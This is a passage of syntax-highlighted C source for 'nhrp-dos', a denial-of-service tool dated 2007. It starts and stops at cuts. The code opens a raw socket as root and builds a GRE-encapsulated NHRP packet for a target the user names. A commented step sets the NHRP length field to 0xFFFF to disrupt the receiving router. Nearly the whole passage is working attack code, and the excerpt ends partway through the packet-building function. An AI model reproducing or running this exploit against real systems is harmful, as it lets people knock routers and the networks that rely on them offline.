</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netdb.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/socket.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/ioctl.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;net/if.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in_systm.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/ip.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* BSD */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Header sizes */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_HDR_SIZE     20
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_HDR_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_KEY_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define NHRP_HDR_SIZE   62
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Function prototypes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span>(<span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Globals */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> sockfd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> nhrp_req_id;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;   <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ptype;   <span style="color:#75715e">/* GRE protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   key;     <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header (20 bytes) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> afn;             <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> proto;           <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   snap;            <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> snapE:<span style="color:#ae81ff">8</span>;         <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> hops:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> length;          <span style="color:#75715e">/* NHRP total length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> checksum;        <span style="color:#75715e">/* NHRP checksum */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mpoa_ext;        <span style="color:#75715e">/* NHRP MPOA extensions */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> version:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> type:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_addr:<span style="color:#ae81ff">8</span>;     <span style="color:#75715e">/* NHRP t/l of NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_sub:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP t/l of NBMA subaddr */</span>
</span></span><span style="display:flex;"><span>} fixed;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> src_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP src protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> dst_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP dest protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;           <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   request_id;      <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma;     <span style="color:#75715e">/* NHRP client NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma_sub; <span style="color:#75715e">/* NHRP client NBMA subaddr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_pro_addr; <span style="color:#75715e">/* NHRP client protocol addr */</span>
</span></span><span style="display:flex;"><span>} mand;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> code:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> pref_len:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP prefix length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> reserved;        <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mtu;             <span style="color:#75715e">/* NHRP MTU */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> holding_time;    <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP t/l cl addr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_sub:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_pro:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl pro */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> preference:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ext;             <span style="color:#75715e">/* NHRP extension */</span>
</span></span><span style="display:flex;"><span>} cie;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Main function */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span> (<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv) {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check command line */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">4</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Usage: ./nhrp-dos &lt;device&gt; &lt;target&gt; &lt;GRE key&gt;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;(Set GRE key = 0 to disable GRE keys!)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check UID */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">getuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">geteuid</span>() <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: Please run as root!</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open a socket */</span>
</span></span><span style="display:flex;"><span>sockfd <span style="color:#f92672">=</span> <span style="color:#a6e22e">open_socket</span>();
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send DoS packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">send_dos</span>(sockfd, <span style="color:#a6e22e">get_int_ipv4</span>(argv[<span style="color:#ae81ff">1</span>]), <span style="color:#a6e22e">resolve_ip</span>(argv[<span style="color:#ae81ff">2</span>]), <span style="color:#a6e22e">atoi</span>(argv[<span style="color:#ae81ff">3</span>]));
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close_socket</span>(sockfd);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_SUCCESS);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> one <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>ptr <span style="color:#f92672">=</span> <span style="color:#f92672">&amp;</span>one;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Open the socket */</span>
</span></span><span style="display:flex;"><span>fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(AF_INET, SOCK_RAW, IPPROTO_UDP);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: Unable to open socket.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Set IP_HDRINCL to include the IPv4 header in outgoing packets. */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Otherwise it would be done by the kernel. */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, IP_HDRINCL, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#ifndef _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">setsockopt</span>(fd, IPPROTO_IP, SO_BROADCAST, ptr, <span style="color:#66d9ef">sizeof</span>(one)) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">&#34;Error: open_socket: setsockopt failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">#endif
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(fd);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Close the socket */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span> fd)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#a6e22e">close</span>(fd));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Resolve the hostname to IP address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>host)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> in_addr addr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> hostent <span style="color:#f92672">*</span>host_ent;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>((addr.s_addr <span style="color:#f92672">=</span> <span style="color:#a6e22e">inet_addr</span>(host)) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>) {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#f92672">!</span>(host_ent <span style="color:#f92672">=</span> <span style="color:#a6e22e">gethostbyname</span>(host)))
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memcpy</span>((<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>)<span style="color:#f92672">&amp;</span>addr.s_addr, host_ent<span style="color:#f92672">-&gt;</span>h_addr, host_ent<span style="color:#f92672">-&gt;</span>h_length);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Get IPv4 address of DEVICE */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>device)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> tmp_fd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ifreq ifr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>sin;
</span></span><span style="display:flex;"><span>tmp_fd <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(PF_INET, SOCK_DGRAM, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(tmp_fd <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: socket failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&amp;</span>ifr, <span style="color:#ae81ff">0</span>, <span style="color:#66d9ef">sizeof</span>(ifr));
</span></span><span style="display:flex;"><span>sin <span style="color:#f92672">=</span> (<span style="color:#66d9ef">struct</span> sockaddr_in <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr.ifr_addr;
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">strncpy</span>(ifr.ifr_name, device, <span style="color:#66d9ef">sizeof</span>(ifr.ifr_name));
</span></span><span style="display:flex;"><span>ifr.ifr_addr.sa_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ioctl</span>(tmp_fd, SIOCGIFADDR, (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>) <span style="color:#f92672">&amp;</span>ifr) <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: get_int_ipv4: ioctl failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">close</span>(tmp_fd);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">return</span>(sin<span style="color:#f92672">-&gt;</span>sin_addr.s_addr);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Send NHRP packet */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span> (<span style="color:#66d9ef">int</span> fd, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> src_ip, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> dst_ip,
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> gre_key)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip ip_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> ip <span style="color:#f92672">*</span>iphdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h gre_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h nhrp_hdr;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> sockaddr_in sin;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span> bytes <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> GRE_SIZE <span style="color:#f92672">=</span> GRE_HDR_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Packet buffer */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buf;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key<span style="color:#f92672">!=</span><span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>GRE_SIZE<span style="color:#f92672">+=</span>GRE_KEY_SIZE;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Allocate some memory */</span>
</span></span><span style="display:flex;"><span>buf <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(IP_HDR_SIZE<span style="color:#f92672">+</span>GRE_SIZE<span style="color:#f92672">+</span>NHRP_HDR_SIZE);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(buf <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Error: send_dos: malloc failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Increment NHRP request ID */</span>
</span></span><span style="display:flex;"><span>nhrp_req_id<span style="color:#f92672">++</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPv4 Header */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_v             <span style="color:#f92672">=</span> <span style="color:#ae81ff">4</span>;                    <span style="color:#75715e">/* IP version */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_hl            <span style="color:#f92672">=</span> <span style="color:#ae81ff">5</span>;                    <span style="color:#75715e">/* IP header length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_tos           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0x00</span>;                 <span style="color:#75715e">/* IP ToS */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_len           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(IP_HDR_SIZE  <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>GRE_SIZE <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>NHRP_HDR_SIZE
</span></span><span style="display:flex;"><span>);                    <span style="color:#75715e">/* IP total length */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_id            <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP identification */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_off           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP frag offset */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_ttl           <span style="color:#f92672">=</span> <span style="color:#ae81ff">64</span>;                   <span style="color:#75715e">/* IP time to live */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_p             <span style="color:#f92672">=</span> IPPROTO_GRE;          <span style="color:#75715e">/* IP protocol */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_sum           <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* IP checksum */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_src.s_addr    <span style="color:#f92672">=</span> src_ip;               <span style="color:#75715e">/* IP source */</span>
</span></span><span style="display:flex;"><span>ip_hdr.ip_dst.s_addr    <span style="color:#f92672">=</span> dst_ip;               <span style="color:#75715e">/* IP destination */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(gre_key <span style="color:#f92672">!=</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2000</span>);        <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span>gre_hdr.key     <span style="color:#f92672">=</span> <span style="color:#a6e22e">htonl</span>(gre_key);       <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>gre_hdr.flags   <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>gre_hdr.ptype           <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x2001</span>);        <span style="color:#75715e">/* GRE type (NHRP) */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.afn      <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0001</span>);        <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.proto    <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0x0800</span>);        <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snap     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.snapE    <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.hops     <span style="color:#f92672">=</span> <span style="color:#ae81ff">0xFF</span>;                 <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* DoS -&gt; Set length to 0xFFFF */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.length   <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">0xFFFF</span>);        <span style="color:#75715e">/* NHRP length */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Checksum can be incorrect */</span>
</span></span><span style="display:flex;"><span>nhrp_hdr.fixed.checksum <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;                    <span style="color:#75715e">/* NHRP checksum */</span>
